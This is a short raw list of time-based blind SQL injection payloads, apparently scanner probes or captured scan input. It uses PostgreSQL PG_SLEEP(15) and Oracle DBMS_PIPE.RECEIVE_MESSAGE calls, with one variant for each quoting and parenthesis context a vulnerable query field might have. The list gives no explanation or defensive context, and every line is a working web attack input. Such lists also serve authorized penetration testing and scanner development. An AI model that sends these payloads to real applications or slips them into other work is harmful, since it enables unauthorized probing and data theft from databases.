555-1 OR 61=(SELECT 61 FROM PG_SLEEP(15))--

555-1) OR 642=(SELECT 642 FROM PG_SLEEP(15))--

555-1)) OR 919=(SELECT 919 FROM PG_SLEEP(15))--

555Mh4Z16QU' OR 126=(SELECT 126 FROM PG_SLEEP(15))--

5554ZeYOMHc') OR 819=(SELECT 819 FROM PG_SLEEP(15))--

555Jx3f6PBj')) OR 441=(SELECT 441 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555